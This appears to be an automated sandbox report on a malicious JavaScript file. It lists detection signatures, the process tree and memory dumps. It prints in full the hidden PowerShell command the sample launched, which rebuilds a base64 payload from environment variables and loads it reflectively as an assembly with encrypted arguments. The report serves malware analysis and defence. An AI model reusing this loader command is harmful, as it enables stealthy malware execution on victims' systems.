Analysis

  • max time kernel
    299s
  • max time network
    300s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/07/2026, 03:36

General

  • Target
    JF 2000133.js
  • Size 25.7MB
  • Sample260724-d57e2ssalb
  • SHA256 92833895820d981ca947315a510fd6e11b6caa50279146101617a9f9677e99ca
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops startup file 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Local\Temp\JF 2000133.js"
    1⤵
    • Drops startup file
    • Modifies registry class
    PID:5736
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('+T0VVgzXP8xUOK/obpVYNP9169NGbO0G1KdPTNcPsy9HCkhlHF6A9/pUb2NSP9AWilI/whNMO6WDfF4kejscH0wBbjw03kIwXRHcVW2N4NsPn5fokA2tZkrs767oo9zfSsLxSRM2jGc5IoWmG/VfVA==','','snB9WYM0x7DkF+IMjMAKauqwIHD4Khaw16JRt7gRNRmMGuh6NY+UK0aDntyxUpXT','R/oJytz1rMF7ig9iCJYIGc1l+N8NIFNcuJ1ybKoLEvw=','uwVGGLbg8fIpdh0XcVIMZp+bHj9wwFaWjbyIo70S0po=','zuKes9gmunulx4iMZrQdsyG2GNxarQza9QVSrNAJuxA=','rQNbp26K9wKHLDtrtmpINSNo7OrVKLOl8+FPFaVPfTE=','','nPsbqRYdpHa1kPGv7gxtw1REYL0soWHU1JdCky2apzQ=','kAl1bkZEmKflemvUyUIURnnjlIHQqBkdcjYMD4zJV3Pe30rQG7nvwt/JIInS7/30','uZx8wHIOVEl873BttoZfrcPBBUTWB0f1kUce4RWKHpk=','6bZ6LI8sWkwaBhq5mUA7Xcqy451NKG43pe8FbocpMtc=','fYCUm+XrK48yurwGGhsg/KEUWmTpVrIMDOffHQ4QHWM=','','Dx2HveF86xjwqyPRmhXz/JM7p5ClFRV1xmcQ7DtyMvM=','wrgX3A6K2MHZw7Xvdz5GVzlKDetrzvTmapTxUOBtwjA=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1860

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        memory/1860-0-0x00007FF8A0CFF000-0x00007FF8A0D00000-memory.dmp

        memory/1860-3-0x00007FF8A0B70000-0x00007FF8A1514000-memory.dmp

        memory/1860-4-0x000001D0CCB20000-0x000001D0CCB42000-memory.dmp

        memory/1860-5-0x00007FF8A0B70000-0x00007FF8A1514000-memory.dmp

        memory/1860-6-0x00007FF8A0B70000-0x00007FF8A1514000-memory.dmp

        memory/1860-7-0x00007FF8A0B70000-0x00007FF8A1514000-memory.dmp

        memory/1860-10-0x000001D0CABE0000-0x000001D0CABEA000-memory.dmp

        memory/1860-9-0x000001D0CAB50000-0x000001D0CABE2000-memory.dmp

        memory/1860-8-0x00007FF8A0B70000-0x00007FF8A1514000-memory.dmp

        memory/1860-11-0x00007FF8A0B70000-0x00007FF8A1514000-memory.dmp

        memory/1860-12-0x00007FF8A0B70000-0x00007FF8A1514000-memory.dmp

        memory/1860-13-0x00007FF8A0B70000-0x00007FF8A1514000-memory.dmp

        memory/1860-15-0x00007FF8A0B70000-0x00007FF8A1514000-memory.dmp